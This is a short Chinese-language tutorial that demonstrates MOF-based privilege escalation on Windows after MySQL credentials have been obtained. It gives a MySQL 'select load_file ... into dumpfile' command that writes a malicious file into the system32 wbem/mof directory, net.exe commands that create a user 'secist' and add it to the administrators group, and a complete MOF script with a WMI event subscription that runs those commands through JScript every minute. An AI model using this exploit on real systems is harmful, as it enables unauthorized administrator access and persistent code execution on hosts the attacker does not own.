關於 mof 提權的原理其實很簡單,就是利用了c:/windows/system32/wbem/mof/目錄下的 nullevt.mof 文件,每分鍾都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行。下面簡單演示下 mof 提權的過程!
首先將我們的 mof 提權腳本上傳到可讀寫目錄下,這里就不做演示了。接着我們選擇 MySQL 提權項,輸入我們已經獲取的MySQL 賬戶信息,並執行如下命令:
select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”
該命令,即是把我們的提權命令導入到 nullevt.mof 。
為了更高的成功率,我們必須分開兩次導入該腳本!第一次為用戶添加命令如下圖:
net.exe user secist 123 /add
第二次為用戶提權命令如下圖:
net.exe localgroup administrators secist /add
我們打開 cmd 可以看到 secist 賬戶已經成功提升到管理員組。
最后,我將提權腳本貼出來如下:
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};